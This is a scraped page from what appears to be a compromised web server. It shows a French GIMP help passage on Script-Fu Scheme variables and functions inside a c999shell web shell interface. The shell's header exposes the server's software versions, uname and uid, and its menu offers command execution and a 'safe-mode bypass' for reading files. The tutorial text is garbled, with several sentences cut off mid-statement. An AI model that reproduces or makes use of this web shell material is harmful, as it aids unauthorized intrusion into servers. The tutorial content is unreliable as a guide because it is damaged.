Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gimp/2.0/help/fr/ drwxr-xr-x |
Viewing file: ch07s03s02.html (13.36 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | Maintenant que nous savons que toute déclaration Scheme est incluse entre parenthèses, et que le nom de fonction ou l'opérateur vient en premier, nous devons apprendre à créer et utiliser les variables. Commençons par les variables. Bien qu'il existe deux méthodes pour déclarer des variables, la préférée est l'utilisation de la structure let*. Si vous connaissez d'autres langages de programmation, cette structure équivaut à définir une liste de variables locales et un champ d'application pour ces variables. Par exemple, pour déclarer deux variables, a et b, initialisées respectivement à 1 et 2, vous écrirez: (let* ( (a 1) (b 2) ) (+ a b) ) ou, sur une ligne: (let* ( (a 1) (b 2) ) (+ a b) )
Ceci déclare deux variables locales, a et b, les initialise, puis affiche leur somme.
Vous remarquerez que nos avons écrit l'addition
C'est parce que la déclaration
La forme générale d'une déclaration (let* (
où les variables sont déclarées entre parenthèses, p.e (a 2), et
les expressions sont une des expressions Scheme valides.
Rappelez-vous que les variables déclarées ne sont valables qu'à
l'intérieur d'une déclaration Précédemment, nous avons mentionné le fait que vous voudriez certainement utiliser des indentations pour clarifier votre programme. Ce n'est pas un problème pour Scheme, car l'interpréteur ignore les espaces blanc. Mais si vous utilisez la Console pour Script-Fu, une expression devra tenir sur une seule ligne entre les parenthèses d'ouverture et de fermeture. Après avoir initialiser une variable, il se peut que vous ayiez besoin d'en changer la valeur plus loin dans le script. Utilisez la déclaration set! pour changer la valeur d'une variable: (let* ( (theNum 10) ) (set! theNum (+ theNum \ theNum)) ) Essayez de deviner ce que fait cette déclaration, puis entrez-la dans la console pour Script-Fu.
Maintenent que nous savons manipuler les variables, passons aux fonctions. Vous déclarez une fonction avec la syntaxe suivante: (define (
où (define (AddXY inX inY) (+ inX inY) )
Si vous avez programmé dans d'autres langages (comme C/C++, Java, Pascal...etc), vous aurez noté que plusieurs choses sont absentes dans la définition de cette fonction comparée aux autres langages.
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0074 ]-- |